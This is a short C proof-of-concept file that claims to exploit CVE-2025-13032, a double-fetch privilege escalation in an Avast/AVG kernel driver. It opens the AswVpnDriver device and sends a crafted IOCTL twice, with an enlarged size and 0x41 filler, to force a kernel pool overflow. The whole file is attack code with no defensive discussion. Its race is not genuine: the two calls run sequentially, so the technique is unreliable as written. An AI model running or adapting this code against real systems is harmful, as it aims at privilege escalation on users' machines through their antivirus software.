#include <windows.h>
#include <stdio.h>
// CVE-2025-13032 PoC - Avast/AVG Double Fetch Privilege Escalation
// This is a conceptual PoC demonstrating the attack vector
// Malicious driver communication structure
typedef struct _AV_DRIVER_REQUEST {
ULONG_PTR buffer1; // First fetch location
ULONG_PTR buffer2; // Second fetch location (will be modified)
ULONG size;
ULONG operation;
} AV_DRIVER_REQUEST, *PAV_DRIVER_REQUEST;
// Trigger the double fetch vulnerability
BOOL TriggerDoubleFetch(HANDLE hDevice) {
AV_DRIVER_REQUEST req = {0};
PVOID userBuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE);
if (!userBuffer) return FALSE;
// Setup malicious buffer
req.buffer1 = (ULONG_PTR)userBuffer;
req.buffer2 = (ULONG_PTR)userBuffer;
req.size = 0x100;
req.operation = 0x1337;
// First read will get valid data
DeviceIoControl(hDevice, 0x80002000, &req, sizeof(req), NULL, 0, NULL, NULL);
// Modify buffer between fetches to trigger race condition
Sleep(1); // Timing window for race condition
// Trigger pool overflow with modified buffer
memset(userBuffer, 0x41, 0x200); // Overflow data
req.size = 0x200; // Larger size for overflow
// Second read will use modified data causing overflow
DeviceIoControl(hDevice, 0x80002000, &req, sizeof(req), NULL, 0, NULL, NULL);
VirtualFree(userBuffer, 0, MEM_RELEASE);
return TRUE;
}
int main() {
HANDLE hDevice = CreateFile("\\\\.\\AswVpnDriver",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open device\\n");
return 1;
}
printf("[*] Triggering CVE-2025-13032 Double Fetch...\\n");
TriggerDoubleFetch(hDevice);
CloseHandle(hDevice);
return 0;
}